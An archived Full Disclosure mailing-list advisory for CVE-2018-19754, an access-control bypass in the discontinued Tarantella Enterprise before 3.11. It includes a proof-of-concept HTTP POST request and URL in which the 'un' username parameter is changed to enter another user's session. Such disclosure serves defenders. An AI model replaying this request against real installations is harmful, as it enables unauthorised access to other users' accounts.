lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 30 Nov 2018 06:51:36 +0100
From: Rafael Pedrero <rafael.pedrero@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2018-19754 - Security Bypass Access Control Vulnerability
 in Tarantella Enterprise before 3.11

Vulnerability found in 2009.

<!--
# Exploit Title: Security Bypass Access Control Vulnerability in Tarantella
Enterprise before 3.11
# Date: 30-11-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: Homepage: http://www.sun.com/ & http://www.oracle.com/
# Software Link: the product is discontinued (vulnerability found in 2009)
# Version: Tarantella Enterprise before 3.11
# Tested on: All
# CVE : CVE-2018-19754
# Category: webapps


1. Description

Tarantella Enterprise before 3 3.11 allows a Bypass Access Control, the
application does not prevent one user from gaining access to another user's
by modifying the parameter value in a login request.


2. Proof of Concept

Send POST petition like:

POST
/tarantella/cgi-bin/post2get/tarantella/resources/login/sco/tta/boot/strap_XXXX.html
HTTP/1.1
Accept: */*
Referer: https://XXXX.XXXX:444/html/form_ttaXXXX.html
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
InfoPath.1; .NET CLR 2.0.50727)
Host: ttarima.cnso
Content-Length: 61
Connection: Keep-Alive
Cache-Control: no-cache

action=bootstrap&pg=index.html&px=DIRECT&un=<usename>&ms=unique

Where the parameter un is the username you know. You recive the message:

"The content of this file must be language independent! This applet
immediately loads a new document in a named frame (here WebtopFrame), which
will be something like: ../logintheme/clientcap/index.html. The logintheme
is determinated from the appropiate attribute in the datastore. -->"

And now, change the username to access to application:

https://XXX.XXX/tarantella/cgi-bin/post2get/tarantella/resources/login/sco/tta/boot/strap_XXXX.html?action=bootstrap&pg=index.html&px=DIRECT&un=
<valid_username>&ms=unique


3. Solution:

The product is discontinued.
https://www.oracle.com/us/assets/lifetime-support-hardware-301321.pdf

-->

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists